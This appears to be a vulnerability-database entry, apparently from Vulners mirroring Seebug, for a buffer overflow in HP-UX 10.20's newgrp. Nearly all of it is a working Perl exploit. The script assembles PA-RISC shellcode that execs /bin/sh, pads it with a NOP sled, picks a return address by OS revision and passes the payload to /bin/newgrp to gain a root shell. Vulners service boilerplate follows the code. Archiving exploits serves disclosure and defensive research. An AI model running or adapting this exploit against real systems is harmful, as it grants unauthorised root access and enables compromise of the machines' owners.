Lucene search
K

HP-UX <= 10.20 newgrp Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 192 Views

HP-UX newgrp 10.20 Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/683/info

Due to insufficient bounds checking on user supplied arguments, it is possible to overflow an internal buffer and execute arbitrary code as root. 

#!/usr/bin/perl

use FileHandle;

sub h2cs {
local($stuff)=@_;
local($rv);
while($stuff !~ /^$/) {
$bob=$stuff;
$bob =~ s/^(..).*$/$1/;
$stuff =~ s/^..//;
$rv.=chr(oct(&#34;0x${bob}&#34;));
}
return $rv;
}

open(PIPE,&#34;uname -r|&#34;);
chop($rev=&#60;PIPE&#62;);
close(PIPE);
$rev =~ s/^.*\.(.*)\..*$/$1/;

if ($rev eq &#34;10&#34;) {
$offset=2074;
$prealign=&#34;&#34;;
$postalign=&#34;P&#34;;
$pcoq=h2cs(&#34;7b03A00C&#34;);
} else {
$offset=2074;
$prealign=&#34;&#34;;
$postalign=&#34;P&#34;;
$pcoq=h2cs(&#34;7b03300C&#34;);
}

$nop=h2cs(&#34;08210280&#34;);
$code=&#34;&#34;;
# Oddly enough, real uid already == 0
# Could probably make a + + link bug out of this, too..
#$code.=h2cs(&#34;34160506&#34;); # LDI 643,r22
#$code.=h2cs(&#34;96d60534&#34;); # SUBI 666,r22,r22
#$code.=h2cs(&#34;20200801&#34;); # LDIL L%0xc0000004,r1
#$code.=h2cs(&#34;e420e008&#34;); # BLE 4(sr7,r1)
#$code.=h2cs(&#34;0b5a029a&#34;); # XOR arg0,arg0,arg0
$code.=h2cs(&#34;e83f1ffd&#34;); # BL .+8,r1
$code.=h2cs(&#34;08210280&#34;); # NOP
$code.=h2cs(&#34;34020102&#34;); # LDI 129,rp
$code.=h2cs(&#34;08410402&#34;); # SUB r1,rp,rp
$code.=h2cs(&#34;60400162&#34;); # STB r0,177(rp)
$code.=h2cs(&#34;b45a0154&#34;); # ADDI 170,rp,arg0
$code.=h2cs(&#34;0b390299&#34;); # XOR arg0,arg0,arg0
$code.=h2cs(&#34;0b180298&#34;); # XOR arg0,arg0,arg0
$code.=h2cs(&#34;341604be&#34;); # LDI 607,r22
$code.=h2cs(&#34;20200801&#34;); # LDIL L%0xc0000004,r1
$code.=h2cs(&#34;e420e008&#34;); # BLE 4(sr7,r1)
$code.=h2cs(&#34;96d60534&#34;); # SUB 666,r22,r22
$code.=h2cs(&#34;deadcafe&#34;); # Illegal instruction -- dump core if exec fails
$data=&#34;/bin/sh.&#34;; # Data stuff

$codedata=$code.$data;
$num=int(($offset-length($code)-length($data)-4)/4);
$pre=&#34;$nop&#34;x$num;
$of=$prealign;
$of.=$pre.$code.$data.$postalign.$pcoq;
exec(&#34;/bin/newgrp&#34;,&#34;$of&#34;); 
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
192